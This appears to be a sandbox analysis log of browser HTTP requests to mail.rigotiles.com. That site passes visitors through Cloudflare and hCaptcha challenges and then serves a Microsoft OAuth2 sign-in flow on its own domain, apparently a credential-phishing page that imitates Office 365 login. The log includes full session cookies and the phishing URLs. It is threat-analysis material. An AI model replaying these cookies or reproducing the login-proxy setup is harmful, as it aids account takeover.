Source: global traffic	HTTP traffic detected: GET /captcha/v1/05c78a4/static/hcaptcha.html HTTP/1.1Host: newassets.hcaptcha.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/api.js HTTP/1.1Host: js.hcaptcha.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SJ5tdZc/download.png HTTP/1.1Host: i.ibb.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SJ5tdZc/download.png HTTP/1.1Host: i.ibb.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8db68aefa9dee71a&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /c/0d69d1a359119bd0e2c5ca7f11f300ac050517fd19b612f86c0c75a2b0b39cbe/hsw.js HTTP/1.1Host: newassets.hcaptcha.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://newassets.hcaptcha.com/captcha/v1/05c78a4/static/hcaptcha.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /checksiteconfig?v=05c78a4&host=mail.rigotiles.com&sitekey=234adb2f-52ba-4697-82fa-abecbb14b173&sc=1&swa=1&spst=1 HTTP/1.1Host: api2.hcaptcha.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cflb=0H28vk2VKwPbLoawFj9ote4RZxB9Q78v8RVsZqVRRd7
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8db68aefa9dee71a&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: mail.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mail.rigotiles.com/jPsQWUcBAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157
Source: global traffic	HTTP traffic detected: GET /c/0d69d1a359119bd0e2c5ca7f11f300ac050517fd19b612f86c0c75a2b0b39cbe/hsw.js HTTP/1.1Host: newassets.hcaptcha.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1827530087:1730405642:ltd0wnhF-wNUZPhVAbzH59KppvuK_FKCeFGLBlDqCYQ/8db68aefa9dee71a/7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8db68aefa9dee71a/1730408094291/1DUK2cFFx0Ov71K HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=8X286xg78epWUlZ&MD=DApwh8vU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8db68aefa9dee71a/1730408094291/1DUK2cFFx0Ov71K HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8db68aefa9dee71a/1730408094294/bfc9350757dc2b54cda47f1ce8f7cb0fee63827b7d6473a6f9e3352166586cbd/I6Sy_RrFs8HulFz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1827530087:1730405642:ltd0wnhF-wNUZPhVAbzH59KppvuK_FKCeFGLBlDqCYQ/8db68aefa9dee71a/7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jPsQWUcB?y=IUmJJik HTTP/1.1Host: mail.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://mail.rigotiles.com/jPsQWUcBAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1827530087:1730405642:ltd0wnhF-wNUZPhVAbzH59KppvuK_FKCeFGLBlDqCYQ/8db68aefa9dee71a/7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: mail.rigotiles.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://mail.rigotiles.com/jPsQWUcBAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Host: react.rigotiles.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1Host: mail.rigotiles.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157/e912187ff14fbe0e087fdd0242e0ac50ec5f2e3b1729e3fe0d8b2bf4a69d8ad8.js HTTP/1.1Host: mail.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA
Source: global traffic	HTTP traffic detected: GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157.js HTTP/1.1Host: mail.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157.js HTTP/1.1Host: mail.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA
